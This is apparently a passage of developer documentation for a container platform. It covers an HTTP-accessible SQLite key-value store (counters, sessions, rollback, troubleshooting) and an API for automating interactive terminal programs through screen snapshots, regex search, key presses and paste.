  body: JSON.stringify({
    timeout: 30,
    retries: 3,
    endpoint: 'https://api.example.com'
  })
});

// Get configuration
const config = await fetch('.../kv/config:api?db=/data/app.db')
  .then(r => r.json());

// Use in app
const response = await fetch(config.endpoint, { timeout: config.timeout });
```

### Distributed Counter

**Track metrics across multiple clients:**

```javascript
// Each page view increments atomically
await fetch('.../kv/views:homepage/incr?db=/data/stats.db', {
  method: 'POST'
});

// Get current count
const count = await fetch('.../kv/views:homepage?db=/data/stats.db')
  .then(r => r.json());

console.log(`Homepage views: ${count}`);
```

**No race conditions.** 1000 simultaneous requests = counter increments exactly 1000.

### Session Management

**Store user sessions with auto-expiry:**

```javascript
// Create session with 1-hour TTL
await fetch('.../kv/session:abc123?db=/data/sessions.db&ttl=3600', {
  method: 'PUT',
  body: JSON.stringify({
    user_id: 'user-456',
    ip: '203.0.113.50',
    created_at: Date.now()
  })
});

// Session automatically expires after 1 hour
// No cleanup jobs needed
```

### Shopping Cart

**Atomic cart operations:**

```javascript
// Add item to cart
await fetch('.../kv/cart:user1/push?db=/data/store.db', {
  method: 'POST',
  body: JSON.stringify({
    value: {
      product_id: 'prod-xyz',
      quantity: 2,
      price: 29.99
    }
  })
});

// Remove item
await fetch('.../kv/cart:user1/remove?db=/data/store.db', {
  method: 'POST',
  body: JSON.stringify({
    value: { product_id: 'prod-xyz' }
  })
});

// Get entire cart
const cart = await fetch('.../kv/cart:user1?db=/data/store.db')
  .then(r => r.json());
```

### SQL + KV Combination

**Use both interfaces in one database:**

```javascript
// SQL for complex queries
const analytics = await fetch('.../api/v1/sqlite/db?db=/data/app.db', {
  method: 'POST',
  body: JSON.stringify({
    transaction: [{
      query: 'SELECT product_id, COUNT(*) as purchases FROM orders GROUP BY product_id ORDER BY purchases DESC LIMIT 10'
    }]
  })
}).then(r => r.json());

// KV for simple config
const config = await fetch('.../kv/config:featured?db=/data/app.db')
  .then(r => r.json());

// Combine results
const featured = analytics.results[0].resultSet.filter(item => 
  config.featured_products.includes(item.product_id)
);
```

### Recovery from Bad Changes

**Rollback when things go wrong:**

**View history to find when config was correct:**



**Rollback to before deletion (undo last 2 changes):**



**Or restore entire table to 1 hour ago:**


**Rollback requires `?confirm=yes` to apply.** Without it, the endpoint only returns a dry-run preview. This is a safety rail — rollback is destructive. Use `&dry_run=true` explicitly for dry-runs, or `&confirm=yes` to actually apply.




---

## Use Cases

### AI Agent Memory

**Persistent memory for AI conversations:**

```javascript
// AI stores context
await fetch('.../kv/agent:conversation:123?db=/data/agent.db', {
  method: 'PUT',
  body: JSON.stringify({
    user_request: 'Build a todo app',
    plan: ['Create database', 'Build API', 'Create frontend'],
    progress: { completed: 0, total: 3 }
  })
});

// AI retrieves context later
const memory = await fetch('.../kv/agent:conversation:123?db=/data/agent.db')
  .then(r => r.json());

// AI continues from where it left off
```

### Feature Flags

**Control features via KV store:**

```javascript
// Set feature flags
await fetch('.../kv/batch/set?db=/data/app.db', {
  method: 'POST',
  body: JSON.stringify({
    batch: [
      { key: 'feature:new-ui', value: true },
      { key: 'feature:beta-api', value: false },
      { key: 'feature:dark-mode', value: true }
    ]
  })
});

// Check feature in app
const newUiEnabled = await fetch('.../kv/feature:new-ui?db=/data/app.db')
  .then(r => r.json());

if (newUiEnabled) {
  // Show new UI
}
```

### Rate Limiting

**Track API calls per user:**

```javascript
// Increment user's API call count
await fetch(`.../kv/api-calls:user-${userId}/incr?db=/data/limits.db`, {
  method: 'POST'
});

// Get current count
const calls = await fetch(`.../kv/api-calls:user-${userId}?db=/data/limits.db`)
  .then(r => r.json());

if (calls > 1000) {
  return { error: 'Rate limit exceeded' };
}
```

**Atomic increment prevents double-counting.** Works correctly under high concurrency.

### Cache Layer

**Cache expensive API responses:**

```javascript
const cacheKey = `cache:api:${endpoint}`;

// Check cache
const cached = await fetch(`.../kv/${cacheKey}?db=/data/cache.db`)
  .then(r => r.json())
  .catch(() => null);

if (cached) {
  return cached;
}

// Fetch from API
const data = await fetchFromAPI(endpoint);

// Store with 10-minute TTL
await fetch(`.../kv/${cacheKey}?db=/data/cache.db&ttl=600`, {
  method: 'PUT',
  body: JSON.stringify(data)
});

return data;
```

### Audit Trail for Compliance

**Track every data change:**

```javascript
// Make change
await fetch('.../kv/user:1:email?db=/data/users.db', {
  method: 'PUT',
  body: JSON.stringify('new-email@example.com')
});

// Later: Generate compliance report
const history = await fetch('.../kv/user:1:email/history?db=/data/users.db')
  .then(r => r.json());

// Shows: who changed what, when, from what value to what value
// Complete audit trail automatically
```

---

## Best Practices

### Use KV Store for Simple Data

**Don't overcomplicate:**

```javascript
// ❌ Overkill - SQL for simple config
const sql = 'SELECT value FROM config WHERE key = "timeout"';

// ✅ Simple - KV for simple data
const timeout = await fetch('.../kv/config:timeout?db=/data/app.db')
  .then(r => r.json());
```

**Use SQL when you need:** JOINs, complex queries, relationships  
**Use KV when you have:** Simple key-value pairs, config, caching

### Batch for Performance

**100x faster than individual requests:**

```javascript
// ❌ Slow - 100 individual requests
for (const user of users) {
  await fetch(`.../kv/user:${user.id}`, {
    method: 'PUT',
    body: JSON.stringify(user)
  });
}

// ✅ Fast - 1 batch request
await fetch('.../kv/batch/set?db=/data/app.db', {
  method: 'POST',
  body: JSON.stringify({
    batch: users.map(user => ({
      key: `user:${user.id}`,
      value: user
    }))
  })
});
```

### Use Atomic Operations for Counters

**Prevent race conditions:**

```javascript
// ✅ Correct - Atomic
POST /api/v1/sqlite/kv/counter/incr

// ❌ Wrong - Race condition
const current = await GET /api/v1/sqlite/kv/counter;
await PUT /api/v1/sqlite/kv/counter (current + 1);
// Two clients do this simultaneously = counter wrong
```

### Set TTL for Temporary Data

**Auto-expire sessions, cache, tokens:**

```javascript
// Session expires in 24 hours
await fetch('.../kv/session:xyz?db=/data/sessions.db&ttl=86400', {
  method: 'PUT',
  body: JSON.stringify({ user_id: '123' })
});

// No cleanup job needed - automatic expiry
```

### Snapshot Before Risky Changes

**KV store has built-in time-travel:**

Before bulk update, note the current timestamp. Make changes, then if something went wrong:

**Rollback entire table to timestamp:**



**Or rollback specific keys:**



---

## Useful Questions

### Can I use hoody-sqlite like a traditional database server?

Yes! Use the SQL operations endpoint to execute standard SQL. The difference: instead of `mysql -u user -p` or `psql`, you make HTTP POST requests. Same SQL, different transport. Perfect for existing applications that need HTTP-native databases.

### How does the KV store differ from Redis?

Similar concepts (key-value, atomic operations, TTL), different implementation. Redis is in-memory with persistence options. hoody-sqlite KV is SQLite-backed (disk-first). Redis has pub/sub. hoody-sqlite has time-travel and history. Both accessible via HTTP in Hoody containers.

### Can multiple containers share one SQLite database?

Yes! Use [SQLite Drive →](/foundation/storage/sqlite-drive/) by storing databases in `/hoody/databases/`. This special directory is automatically shared across containers with built-in locking and concurrency management. Multiple containers can safely read and write simultaneously.

Alternatively: One container owns a database in `/data/`, exposes it via hoody-sqlite HTTP endpoints, other containers query via HTTP. Both patterns work.

### Does time-travel history consume a lot of space?

Each change stores: key, old value, new value, timestamp. For most use cases, overhead is minimal (5-10% of data size). You can disable history with `?history=false` for ephemeral data like session tracking.

### Can AI agents query my database?

Absolutely! AI makes standard HTTP POST requests to execute SQL or KV operations. No database driver needed. LLMs understand HTTP natively—they can query data, analyze results, make decisions, all through HTTP.

### What's the maximum database size?

SQLite supports databases up to 281 TB theoretically. Practically: keep databases under 100GB for optimal performance. For larger datasets, split across multiple databases or use container with more storage.

### How do atomic operations prevent race conditions?

They execute at the database level in one step. `incr` does read-modify-write atomically—no other operation can interrupt between reading and writing. Multiple simultaneous requests are serialized by SQLite's locking mechanism.

### Can I backup SQLite databases?

Yes! SQLite databases are single files. Copy the `.db` file via hoody-files service, container snapshots, or standard file operations. For hot backup (database in use), use SQLite's VACUUM INTO or backup API.

### Do I need to create the KV table manually?

No. When creating a database, use `?init_kv=true` parameter. The KV table and indexes are created automatically. Or use the first KV operation and it creates the table if missing.

---

## Troubleshooting

### Database Locked Errors

**Problem:** "Database is locked" errors during writes

**Cause:** SQLite allows one writer at a time per database

**BEST Solution - Use SQLite Drive:**

Hoody provides **[SQLite Drive →](/foundation/storage/sqlite-drive/)**, a shared database system that eliminates locking issues for multi-container applications.

**Store databases in `/hoody/databases/` for shared access:**

```bash
# Instead of: /data/app.db (single-container, can lock under concurrency)
# Use: /hoody/databases/app.db (multi-container safe, no locking)
```

**Why `/hoody/databases/` is better:**
- ✅ Multiple containers can write simultaneously without locks
- ✅ Automatic sharing across all containers in your project
- ✅ Built-in connection pooling and conflict resolution
- ✅ Zero configuration - just use the path
- ✅ Perfect for distributed applications

**See:** [SQLite Drive →](/foundation/storage/sqlite-drive/) for complete setup and cross-container database access patterns.

**Alternative Solutions (for single-container databases in `/data/`):**

1. **Use batch operations to reduce requests:**
   ```bash
   # Instead of 100 individual SETs
   # Use 1 batch SET
   POST /api/v1/sqlite/kv/batch/set
   ```

2. **Retry with exponential backoff:**
   ```javascript
   async function retryWrite(url, body, maxRetries = 3) {
     for (let i = 0; i < maxRetries; i++) {
       try {
         return await fetch(url, { method: 'PUT', body });
       } catch (e) {
         if (i < maxRetries - 1) {
           await new Promise(r => setTimeout(r, 100 * Math.pow(2, i)));
         }
       }
     }
   }
   ```

3. **Use writeahead logging (WAL mode):**
   ```sql
   -- Enable WAL for better concurrency
   PRAGMA journal_mode=WAL;
   ```

### Key Not Found (null response)

**Problem:** GET returns null for existing key

**Check:**

1. **Verify key spelling (case-sensitive):**
   ```bash
   # ❌ Wrong: user:1
   # ✅ Correct: User:1  (if that's what you SET)
   ```

2. **Check key hasn't expired:**
   ```bash
   # If TTL was set, key auto-deletes on expiry
   ```

3. **List all keys to verify:**
   ```sql
   -- Via SQL
   SELECT key FROM kv_store LIMIT 100;
   ```

### Rollback Doesn't Restore Data

**Problem:** Rollback operation completes but data unchanged

**Possible causes:**

1. **Missing `confirm=yes` on table rollback:**
   ```bash
   # Without confirm=yes, POST /kv/rollback returns a dry-run preview only
   # Add &confirm=yes to the query string to actually apply:
   POST /api/v1/sqlite/kv/rollback?to_timestamp=...&db=...&confirm=yes
   ```

2. **History disabled when data was written:**
   ```bash
   # If original SET had ?history=false
   # No history = can't rollback
   ```

3. **Timestamp too far back:**
   ```bash
   # Rollback only works if history exists for that time
   # Check history first:
   GET /api/v1/sqlite/kv/{key}/history
   ```

4. **Wrong database file:**
   ```bash
   # Verify ?db= parameter points to correct file
   ```

### Batch Operation Partially Fails

**Problem:** Some keys in batch succeed, others fail

**Reality:** Batch operations are atomic—all succeed or all fail together. If you see partial success, you're making multiple requests instead of one batch.

**Verify:**
```javascript
// ✅ Correct - Single atomic batch
POST /api/v1/sqlite/kv/batch/set
{
  batch: [
    { key: 'k1', value: v1 },
    { key: 'k2', value: v2 }
  ]
}

// ❌ Wrong - Two separate requests
POST /api/v1/sqlite/kv/k1 (value: v1)
POST /api/v1/sqlite/kv/k2 (value: v2)
```

### Query Returns Unexpected Results

**Check SQL syntax and parameters:**

```javascript
// Use parameterized queries
{
  query: 'SELECT * FROM users WHERE id = ?',
  values: [userId]  // Not: `WHERE id = ${userId}` (SQL injection risk)
}
```

**Verify database state:**
```bash
# List tables
SELECT name FROM sqlite_master WHERE type='table';

# Check schema
PRAGMA table_info(users);
```

---

## What's Next

**Explore other data services:**


  
    Access files across local storage and 60+ cloud providers through HTTP.
    
    [Explore Files →](./files/)
  
  
  
    Turn scripts into HTTP endpoints—your code becomes an API automatically.

    [Explore Exec →](./exec/)
  


**Master SQLite operations:**
- **[SQL Operations →](/api/sqlite/sql-operations/)** - Execute transactions, create databases
- **[KV Store →](/api/sqlite/kv-store/)** - NoSQL-style interface
- **[KV Basic →](/api/sqlite/kv-basic/)** - GET, SET, DELETE operations
- **[KV Atomic →](/api/sqlite/kv-atomic/)** - Thread-safe operations
- **[KV Time-Travel →](/api/sqlite/kv-time-travel/)** - History and rollback

---

> **Your database is a URL.**  
> **SQL and KV in one.**  
> **Time-travel built-in.**  
> **Atomic by default.**  
> **Serverless forever.**

**This is how databases work in the HTTP era.**

---

# Terminal Automation

**Page:** kit/terminals/automation

[Download Raw Markdown](./kit/terminals/automation.md)

---

# Terminal Automation

**Your terminal is a programmable screen.** Read what's on it, press keys into it, wait for it to settle -- all through HTTP endpoints that understand the terminal's actual rendering state.

Traditional terminal automation sends raw bytes and hopes for the best. hoody-terminal takes a different approach: it maintains a server-side VT parser (libvterm) that mirrors the exact screen state a human would see. Every automation endpoint operates on this parsed screen, giving you deterministic control over full-screen TUI applications like vim, htop, tmux, and any interactive program.

**Inspired by [tui-use](https://github.com/onesuper/tui-use)**, but built server-side in C with libvterm. No client-side dependencies. No browser needed. Just HTTP.

---

## Why Terminal Automation?

Traditional terminal scripting (`/api/v1/terminal/execute`) works great for commands that produce output and exit. But what about programs that **take over the screen**?

- **vim** -- you need to navigate, type, save, quit
- **htop** -- you need to select processes, sort columns, send signals
- **python3** -- you need to feed expressions and read results from a REPL
- **ssh** -- you need to wait for a password prompt, type credentials, then wait for the shell
- **tmux** -- you need to create panes, switch windows, send commands to specific panes

These programs don't write to stdout/stderr. They draw on the terminal screen using escape sequences. The automation endpoints let you interact with them the way a human would: by reading the screen and pressing keys.


**When to use automation vs execute:**
- Use **`/execute`** for commands that produce output and exit (ls, cat, npm build)
- Use **automation endpoints** for programs that take over the screen (vim, htop, python REPL, SSH sessions)
- The two approaches complement each other -- use `/execute` to launch programs, then automation to drive them


Throughout this page, all examples use a `$TERMINAL` variable for the base URL:

```bash
TERMINAL="https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu"
```

Set this once and every curl/fetch example below works as-is.

---

## Quick Start

Here's a complete workflow: launch Python, run a calculation, read the result.

**Step 1: Start a Python REPL**


  
    ```bash
    # Start python3 (don't wait -- it takes over the screen)
    curl -X POST "$TERMINAL/api/v1/terminal/execute" \
      -H "Content-Type: application/json" \
      -d '{"command": "python3", "wait": false}'
    ```
  
  
    ```javascript
    const TERMINAL = `https://${PROJECT}-${CONTAINER}-terminal-1.${SERVER}.containers.hoody.icu`;

    // Start python3 (don't wait -- it takes over the screen)
    await fetch(`${TERMINAL}/api/v1/terminal/execute`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ command: 'python3', wait: false })
    });
    ```
  


**Step 2: Wait for the Python prompt**


  
    ```bash
    # Wait until ">>>" appears on screen
    curl -X POST "$TERMINAL/api/v1/terminal/wait?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"mode": "regex", "pattern": ">>> $", "timeout_ms": 5000}'
    ```
  
  
    ```javascript
    // Wait for the ">>>" prompt
    await fetch(`${TERMINAL}/api/v1/terminal/wait?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ mode: 'regex', pattern: '>>> $', timeout_ms: 5000 })
    });
    ```
  


**Step 3: Type a calculation and press Enter**


  
    ```bash
    # Paste the expression
    curl -X POST "$TERMINAL/api/v1/terminal/paste?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"text": "2 ** 256"}'

    # Press Enter
    curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"key": "enter"}'
    ```
  
  
    ```javascript
    // Paste the expression
    await fetch(`${TERMINAL}/api/v1/terminal/paste?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ text: '2 ** 256' })
    });

    // Press Enter
    await fetch(`${TERMINAL}/api/v1/terminal/press?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ key: 'enter' })
    });
    ```
  


**Step 4: Wait for the result and read the screen**


  
    ```bash
    # Wait for the next prompt (means the result has been printed)
    curl -X POST "$TERMINAL/api/v1/terminal/wait?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"mode": "regex", "pattern": ">>> $", "timeout_ms": 5000}'

    # Read the screen
    curl "$TERMINAL/api/v1/terminal/snapshot?terminal_id=1"
    ```
  
  
    ```javascript
    // Wait for the next prompt
    const waitResult = await fetch(`${TERMINAL}/api/v1/terminal/wait?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ mode: 'regex', pattern: '>>> $', timeout_ms: 5000 })
    });
    const { snapshot } = await waitResult.json();

    // The snapshot is included in the wait response -- no separate call needed!
    console.log(snapshot.lines);
    // [">>> 2 ** 256", "115792089237316195423570985008687907853269984665640564039457584007913129639936", ">>> "]
    ```
  



The `/wait` endpoint returns an **atomic snapshot** at the moment of resolution -- no need to call `/snapshot` separately. See [Wait](#wait) for details on why this matters.


---

## Endpoints Reference Summary

All automation endpoints live under `/api/v1/terminal/` and require a `terminal_id` parameter (query string or URL path).

| Endpoint | Method | Description |
|----------|--------|-------------|
| [`/api/v1/terminal/snapshot`](#snapshot) | GET | Rendered viewport: lines, cursor, title, fullscreen state, highlights, sequence counter |
| [`/api/v1/terminal/find`](#find) | GET | PCRE2 regex search on rendered screen with cell-coordinate hits |
| [`/api/v1/terminal/press`](#press) | POST | Send named key presses (mode-aware: respects DECCKM/DECKPAM) |
| [`/api/v1/terminal/write`](#write-raw-bytes) | POST | Raw byte injection — escape hatch when `/press` and `/paste` don't fit |
| [`/api/v1/terminal/paste`](#paste) | POST | Bracketed paste with full UTF-8 support |
| [`/api/v1/terminal/wait`](#wait) | POST | Async wait until stable/regex-match/either, returns atomic snapshot |

**Full API reference:** [Terminal API Reference -->](/api/terminal/commands/) for complete OpenAPI docs with all parameters, response schemas, and error codes.

---

## Snapshot

**`GET /api/v1/terminal/snapshot`**

Returns the terminal screen exactly as a human would see it: a grid of text lines, the cursor position, the window title, and whether the program is in fullscreen (alt-screen) mode.

### Parameters

| Parameter | Type | Default | Description |
|-----------|------|---------|-------------|
| `terminal_id` | string | *required* | Terminal session ID (1-65535) |
| `include_colors` | boolean | `false` | Include ANSI SGR `colored_lines` array alongside plain text |
| `include_highlights` | boolean | `true` | Include reverse-video highlight spans |
| `scroll_offset` | integer | `0` | Lines into scrollback (0 = live viewport) |

### Example


  
    ```bash
    # Basic snapshot
    curl "$TERMINAL/api/v1/terminal/snapshot?terminal_id=1"

    # With colors and scrollback
    curl "$TERMINAL/api/v1/terminal/snapshot?terminal_id=1&include_colors=true&scroll_offset=10"
    ```
  
  
    ```javascript
    const res = await fetch(`${TERMINAL}/api/v1/terminal/snapshot?terminal_id=1`);
    const snap = await res.json();

    console.log(snap.lines);      // ["$ ls -la", "total 16", "drwxr-xr-x  3 user user 4096 .", "..."]
    console.log(snap.cursor);     // { row: 2, col: 0, visible: true }
    console.log(snap.title);      // "bash"
    console.log(snap.is_fullscreen); // false (true when vim, htop, etc. are running)
    console.log(snap.seq);        // 42 (monotonic counter -- changes on every screen update)
    ```
  


### Response Structure

```json
{
  "terminal_id": "1",
  "cols": 80,
  "rows": 24,
  "lines": [
    "$ ls -la",
    "total 16",
    "drwxr-xr-x  3 user user 4096 .",
    ""
  ],
  "cursor": {
    "row": 2,
    "col": 0,
    "visible": true
  },
  "title": "bash",
  "is_fullscreen": false,
  "scroll_offset": 0,
  "seq": 42,
  "highlights": [
    { "row": 0, "col": 2, "length": 5 }
  ]
}
```

**Key fields:**

- **`lines`** -- Array of strings, one per visible row. Trailing whitespace is trimmed. Empty rows appear as empty strings.
- **`cursor`** -- Row/col position (0-indexed) and visibility. Programs like vim move the cursor; shell prompts park it at the input position.
- **`is_fullscreen`** -- `true` when the program has switched to the alternate screen buffer (vim, htop, less, tmux). Useful for knowing whether you're in a TUI or at a shell prompt.
- **`seq`** -- Monotonic sequence counter. Increments on every screen update. Use this to detect whether the screen has changed between two snapshots without comparing all lines.
- **`highlights`** -- Reverse-video spans (used by search highlights, selection, etc.). Each entry has `row`, `col`, `length`.


**When to use `include_colors`:** Most automation workflows only need plain text. Enable `include_colors` when you need to distinguish highlighted text, error messages (red), or status indicators (green/yellow). The `colored_lines` array contains the same text with embedded ANSI SGR escape sequences.


### Scrollback

Set `scroll_offset` to read lines that have scrolled off the top of the screen. A value of `10` means "show me what was on screen 10 lines ago." The viewport is `rows` lines tall, so `scroll_offset=24` on an 80x24 terminal shows the previous full page.

The scrollback buffer holds up to 500 lines by default (configurable with `--vterm-scrollback-lines`, max 10000).

---

## Find

**`GET /api/v1/terminal/find`**

Search the rendered terminal screen for a PCRE2 regular expression. Returns cell-coordinate hits with matched text -- useful for locating specific output, error messages, or UI elements on the screen.

### Parameters

| Parameter | Type | Default | Description |
|-----------|------|---------|-------------|
| `terminal_id` | string | *required* | Terminal session ID |
| `pattern` | string | *required* | PCRE2 regex pattern (max 1024 bytes) |
| `scope` | string | `"screen"` | Where to search: `screen`, `scrollback`, or `all` |
| `limit` | integer | `100` | Max hits to return (max 1000) |
| `case_insensitive` | boolean | `false` | Case-insensitive matching |
| `scroll_offset` | integer | `0` | Scrollback offset for `screen` scope (0 = live viewport). |

### Example


  
    ```bash
    # Find all error messages on screen
    curl "$TERMINAL/api/v1/terminal/find?terminal_id=1&pattern=error&case_insensitive=true"

    # Find IP addresses in scrollback
    # (backslashes doubled because the URL is in double quotes -- shell would otherwise eat single backslashes)
    curl "$TERMINAL/api/v1/terminal/find?terminal_id=1&pattern=\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}&scope=all"

    # Find the shell prompt
    curl "$TERMINAL/api/v1/terminal/find?terminal_id=1&pattern=%24%20%24"
    # (URL-encoded: "$ $" -- dollar, space, end of line)
    ```
  
  
    ```javascript
    // Find all lines containing "ERROR" or "error"
    const res = await fetch(
      `${TERMINAL}/api/v1/terminal/find?terminal_id=1` +
      `&pattern=error&case_insensitive=true`
    );
    const result = await res.json();

    for (const hit of result.hits) {
      console.log(`Found "${hit.text}" at row ${hit.row}, col ${hit.col}`);
    }
    // Found "error" at row 5, col 12
    // Found "Error" at row 8, col 0
    ```
  


### Response Structure

```json
{
  "pattern": "error",
  "scope": "screen",
  "hits": [
    { "row": 5, "col": 12, "length": 5, "text": "error" },
    { "row": 8, "col": 0, "length": 5, "text": "Error" }
  ],
  "total": 2,
  "truncated": false
}
```

**Key fields:**

- **`hits`** -- Array of matches with cell coordinates (0-indexed `row`/`col`), `length` in characters, and matched `text`.
- **`truncated`** -- `true` if the number of hits reached the `limit`. Increase `limit` or narrow your pattern.
- **`scope`** -- Echoes back which scope was searched.


**PCRE2 patterns:** The `pattern` parameter uses PCRE2 syntax, not JavaScript RegExp. Key differences:
- Use `\d` for digits, `\s` for whitespace (same as JS)
- Named groups: `(?P<name>...)` instead of `(?<name>...)`
- Lookbehinds must be fixed-length
- Pattern length is capped at 1024 bytes to prevent ReDoS


### Search Scopes

| Scope | Description |
|-------|-------------|
| `screen` | Visible viewport only (default). Fast, covers what a user would see. |
| `scrollback` | Only the scrollback buffer (lines that scrolled off the top). |
| `all` | Both screen and scrollback. Use when you're not sure where the match is. |

---

## Press

**`POST /api/v1/terminal/press`**

Send named key presses to the terminal. Keys are encoded through libvterm's keyboard API, which respects the terminal's current mode (DECCKM for cursor keys, DECKPAM for keypad). This means arrow keys, function keys, and ctrl sequences automatically generate the correct byte sequences for whatever program is running.

### Request Body

```json
{
  "key": "enter"
}
```

Or send multiple keys in sequence:

```json
{
  "keys": ["escape", ":", "w", "q", "enter"]
}
```

### Parameters

| Parameter | Type | Description |
|-----------|------|-------------|
| `terminal_id` | string (query) | Terminal session ID (*required*) |
| `key` | string (body) | Single key name |
| `keys` | string[] (body) | Array of key names to press in sequence (max 256) |

### Example


  
    ```bash
    # Press Enter
    curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"key": "enter"}'

    # Press Ctrl+C (interrupt)
    curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"key": "ctrl+c"}'

    # Type ":wq" and press Enter (save and quit vim)
    curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"keys": ["escape", ":", "w", "q", "enter"]}'

    # Navigate with arrow keys
    curl -X POST "$TERMINAL/api/v1/terminal/press?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"keys": ["arrow_down", "arrow_down", "arrow_down", "enter"]}'
    ```
  
  
    ```javascript
    // Press Ctrl+C
    await fetch(`${TERMINAL}/api/v1/terminal/press?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ key: 'ctrl+c' })
    });

    // Type ":wq" and press Enter in vim
    await fetch(`${TERMINAL}/api/v1/terminal/press?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ keys: ['escape', ':', 'w', 'q', 'enter'] })
    });
    ```
  


### Response

```json
{
  "status": "ok",
  "bytes_written": 7
}
```

### Supported Keys

All key names are **case-insensitive**. Many keys have aliases for convenience.

**Special Keys:**

| Key | Aliases | Description |
|-----|---------|-------------|
| `enter` | `return`, `cr`, `ctrl+m`, `c-m` | Enter/Return key |
| `tab` | `ctrl+i`, `c-i` | Tab key |
| `escape` | `esc`, `ctrl+[`, `c-[` | Escape key |
| `backspace` | `bs`, `ctrl+h`, `c-h` | Backspace key |
| `space` | | Space bar |
| `backtab` | `shift+tab`, `s-tab` | Shift+Tab (reverse tab) |

**Arrow Keys:**

| Key | Aliases | Description |
|-----|---------|-------------|
| `arrow_up` | `up` | Up arrow |
| `arrow_down` | `down` | Down arrow |
| `arrow_left` | `left` | Left arrow |
| `arrow_right` | `right` | Right arrow |

**Navigation:**

| Key | Aliases | Description |
|-----|---------|-------------|
| `home` | | Home key |
| `end` | | End key |
| `page_up` | `pgup`, `pageup` | Page Up |
| `page_down` | `pgdn`, `pagedown` | Page Down |
| `insert` | `ins` | Insert key |
| `delete` | `del` | Delete key |

**Function Keys:**

| Key | Description |
|-----|-------------|
| `f1` through `f12` | Function keys F1-F12 |

**Ctrl Combinations:**

| Key | Aliases | Byte | Description |
|-----|---------|------|-------------|
| `ctrl+a` through `ctrl+z` | `c-a` through `c-z` | 0x01-0x1A | Ctrl+letter. `ctrl+h` -> `backspace`, `ctrl+i` -> `tab`, `ctrl+m` -> `enter` |
| `ctrl+space` | `c-space`, `ctrl+@`, `c-@` | 0x00 | NUL byte |
| `ctrl+j` | `c-j` | 0x0A | Raw line feed (LF) -- distinct from `enter` which may send CR |
| `ctrl+\\` | `c-\\` | 0x1C | SIGQUIT in shell |
| `ctrl+]` | `c-]` | 0x1D | Ctrl+Right bracket |
| `ctrl+^` | `c-^` | 0x1E | Ctrl+Caret |
| `ctrl+_` | `c-_` | 0x1F | Ctrl+Underscore |
| `ctrl+?` | `c-?` | 0x7F | DEL character |


**`ctrl+j` vs `enter`:** These produce different bytes. `enter` sends CR (0x0D), which is what the terminal line discipline processes. `ctrl+j` sends raw LF (0x0A), which bypasses some line-editing behavior. In most situations you want `enter`. Use `c-j` only when a program specifically expects LF, or when driving a raw-mode application.


**Modified Keys:**

| Key | Description |
|-----|-------------|
| `shift+arrow_up/down/left/right` | Shift+Arrow (text selection in some programs) |
| `ctrl+arrow_up/down/left/right` | Ctrl+Arrow (word navigation in some programs) |
| `alt+enter` | Alt+Enter |
| `alt+backspace` | Alt+Backspace (delete word in zsh/bash) |

**Single Characters:**

Any single printable ASCII character (`!` through `~`, plus space) can be used as a key name. For example, `{"key": "a"}` presses the letter "a", `{"key": "!"}` presses exclamation mark.


**Atomic validation:** All keys in the `keys` array are validated before any are sent. If any key name is unknown, the entire request is rejected with HTTP 400 and no partial writes. This prevents the terminal from ending up in an inconsistent state. The error response includes the full list of supported key names so you can discover the vocabulary programmatically.


---

## Paste

**`POST /api/v1/terminal/paste`**

Paste text into the terminal with optional bracketed paste mode. This is the preferred way to send multi-character text (commands, code snippets, file content) into the terminal.

### Request Body

```json
{
  "text": "echo 'Hello, World!'",
  "bracketed": true
}
```

### Parameters

| Parameter | Type | Default | Description |
|-----------|------|---------|-------------|
| `terminal_id` | string (query) | *required* | Terminal session ID |
| `text` | string (body) | *required* | Text to paste (UTF-8) |
| `bracketed` | boolean (body) | `true` | Use bracketed paste mode if the program supports it |

### Example


  
    ```bash
    # Paste a command (bracketed paste protects against auto-indent)
    curl -X POST "$TERMINAL/api/v1/terminal/paste?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"text": "echo Hello, World!"}'

    # Paste multi-line code into vim
    curl -X POST "$TERMINAL/api/v1/terminal/paste?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"text": "def hello():\n    print(\"Hello!\")\n\nhello()"}'

    # Paste without bracketed mode (raw keystrokes)
    curl -X POST "$TERMINAL/api/v1/terminal/paste?terminal_id=1" \
      -H "Content-Type: application/json" \
      -d '{"text": "ls -la", "bracketed": false}'
    ```
  
  
    ```javascript
    // Paste a multi-line Python script
    await fetch(`${TERMINAL}/api/v1/terminal/paste?terminal_id=1`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        text: 'for i in range(10):\n    print(f"Item {i}")\n',
        bracketed: true
      })
    });
    ```
  


### Response

```json
{
  "status": "ok",
  "bytes_written": 42,
  "bracketed_active": true
}
```

**Key fields:**

- **`bytes_written`** -- Number of bytes written to the terminal PTY.
- **`bracketed_active`** -- `true` if the program had DECSET 2004 enabled and bracketed paste markers were actually sent. `false` if the program doesn't support bracketed paste (the text was still sent, just without markers).

### Paste vs Press

| Use | Paste | Press |
|-----|-------|-------|
| **Multi-character text** | Preferred -- single HTTP call, bracketed paste protection | Works but requires one key per character |
| **Special keys** | Cannot send Enter, Escape, Ctrl+C, etc. | Designed for this |
